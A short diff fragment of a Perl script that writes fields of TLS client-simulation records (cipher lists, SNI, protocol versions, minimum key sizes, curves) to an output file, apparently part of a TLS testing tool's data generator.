+ foreach my $k ( qw(name shortname ciphers ciphersuites sni warning handshakebytes protos tlsvers lowestProtocol highestProtocol service
+ minDhBits maxDhBits minRsaBits maxRsaBits minEcdsaBits ellipticCurves requiresSha2 current) ) {
+ print OUT " $sims{$shortname}->{$k}\n";
+ }
+ print OUT "\n";
+}
+close OUT;
+
+exit;
+
+
+# vim:ts=5:sw=5:expandtab
+